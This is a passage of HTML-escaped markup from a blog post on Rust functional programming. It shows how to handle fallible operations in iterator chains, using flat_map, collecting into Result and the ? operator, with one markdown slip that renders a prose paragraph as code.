style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt;&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;values.iter()&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.map(|x|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;operation_one(*x)).tuple_windows()&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.map(|values: (&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt;)|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;operation_two(values.&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;values.&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;))&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.filter(|x|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;check(*x)).collect()&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Even including the imports, this is 11 lines shorter and, in my opinion, far more readable. It also has only a single allocation (in the &lt;code&gt;collect()&lt;/code&gt; call) and no mutable bindings.&lt;/p&gt;&#xA;&lt;p&gt;So, all is rosy and fun with functional programming, right? Not quite. Enter fallibility.&lt;/p&gt;&#xA;&lt;h2 id=&#34;fallible-maps&#34;&gt;Fallible Maps&lt;/h2&gt;&#xA;&lt;p&gt;I work with microservices a lot, and one of the big problems with microservices is the introduction of system boundaries where all type information is lost.&lt;/p&gt;&#xA;&lt;p&gt;For instance, many architectures involve passing around JSON, and therefore every ingestion routine has to consider the possibility that it was called with nonsensical input; JSON that parses is not necessarily JSON that makes sense.&lt;/p&gt;&#xA;&lt;p&gt;Often, the desired behavior is to simply ignore the problematic input. This is easy with &lt;a href=&#34;https://doc.rust-lang.org/std/iter/trait.Iterator.html#method.flat_map&#34;&gt;&lt;code&gt;flat_map&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Given that parse() return a Result&amp;amp;lt;Item, whatever&amp;amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;parsed: Vec&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;lt;Item&amp;amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;inputs.iter()&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;.flat_map(|input|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;parse(input).into_iter())&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;.collect();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This results in throwing away the errors, which may not be what we want. We could &lt;code&gt;filter&lt;/code&gt; with a &lt;code&gt;match&lt;/code&gt; expression, or do other iterator magic, if we simply wanted to log the errors, but what if we want to abort on error?&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, &lt;code&gt;Result&amp;lt;_, _&amp;gt;&lt;/code&gt; &lt;a href=&#34;https://doc.rust-lang.org/std/iter/trait.FromIterator.html#implementors&#34;&gt;implements&lt;/a&gt; a trait called &lt;code&gt;FromIterator&lt;/code&gt;, which allows the &lt;code&gt;collect()&lt;/code&gt; iterator method to collect into a result, inverting the containment relationship:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;items_or_errors: Vec&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;lt;Result&amp;amp;lt;Item,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Error&amp;amp;gt;&amp;amp;gt;;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;single_error_or_items: Result&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;lt;Vec&amp;amp;lt;Item&amp;amp;gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Error&amp;amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;items_or_errors.into_iter().collect();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is really cool! In cooperation with &lt;a href=&#34;https://doc.rust-lang.org/book/second-edition/ch09-02-recoverable-errors-with-result.html#propagating-errors&#34;&gt;the &lt;code&gt;?&lt;/code&gt; operator&lt;/a&gt;, this can be used to easily, efficiently and concisely abort a function as soon as an error value is encountered - as long as you only have to do it once.&lt;/p&gt;&#xA;&lt;h2 id=&#34;chaining-fallible-operations&#34;&gt;Chaining Fallible Operations&lt;/h2&gt;&#xA;&lt;p&gt;In a real-world scenario, there are often a number of fallible operations that have to be performed. For example, the microservice that inspired this post had to:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Ingest untrusted input into a list of unnormalized input values, possibly rejecting the input as unparsable&lt;/li&gt;&#xA;&lt;li&gt;Normalize the input values, possibly rejecting them as unnormalizable&lt;/li&gt;&#xA;&lt;li&gt;Perform a computation on the values, possibly rejecting them as uncomputable&lt;/li&gt;&#xA;&lt;li&gt;Aggregate the results into a single resulting value&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Because of the nature of the service, the correct behavior was to abort as soon as a nonsensical, unnormalizable, or unprocessable value was encountered.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; DataUnnormalized&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;data: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt; }&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; Data&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;data: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt; }&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; ingest(input: String)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Result&amp;amp;lt;Vec&amp;amp;lt;DataUnnormalized&amp;amp;gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;String&amp;amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// In reality, this can also fail&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;Ok(&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;vec![DataUnnormalized&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;data: &lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;}]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;DataUnnormalized&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; normalize(self)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Result&amp;amp;lt;Data,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;String&amp;amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// In reality, this can fail&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;Ok(Data&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{data: self.data})&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Data&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; perform_operation(&amp;amp;self)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Result&amp;amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;String&amp;amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// In reality, this can fail too&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;Ok(self.data)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; aggregate(agg: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;curr: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt; {&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;agg&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;curr&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Unfortunately, composing these functions wasn&amp;rsquo;t as simple as I expected. I eventually came up with the following solution:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; compute(input: String)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Result&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;String&amp;amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;Ok(ingest(input)?&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Ingest and abort if error. Simple enough&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.into_iter()&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.map(|i|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;i.normalize())&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Maps into Vec&amp;amp;lt;Result&amp;amp;lt;Data, String&amp;amp;gt;&amp;amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.collect::&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;lt;Result&amp;amp;lt;Vec&amp;amp;lt;Data&amp;amp;gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;String&amp;amp;gt;&amp;amp;gt;()?&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Flatten and abort if error&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.into_iter()&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.map(|i|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;i.perform_operation())&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Maps into Vec&amp;amp;lt;Result&amp;amp;lt;i32, String&amp;amp;gt;&amp;amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.collect::&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;lt;Result&amp;amp;lt;Vec&amp;amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt;&amp;amp;gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;String&amp;amp;gt;&amp;amp;gt;()?&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Flatten and abort if error&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.into_iter()&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.fold(&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;|agg,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;curr|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;aggregate(agg,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;curr?)))&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Aggregate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;```&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;This&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;is...&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;not&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;good.&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;It&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;has&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;two&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;allocations&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;which&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;are&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;effectively&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;unnecessary,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;and&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;are&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;only&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;there&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;to&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;convert&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;between&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;types.&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;It&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;has&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;lots&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;of&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;syntactic&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;noise,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;and&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;is&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;difficult&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;to&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;read.&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;After&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;asking&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;around,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;I&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;found&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;out&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;that&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;I&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;was&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;thinking&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;about&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;this&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;wrong.&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Rather&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;than&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;mapping&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;from&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;success&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;to&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;success/failure,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;I&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;should&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;have&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;started&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;out&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;by&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;embracing&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;the&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;fallibility.&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span 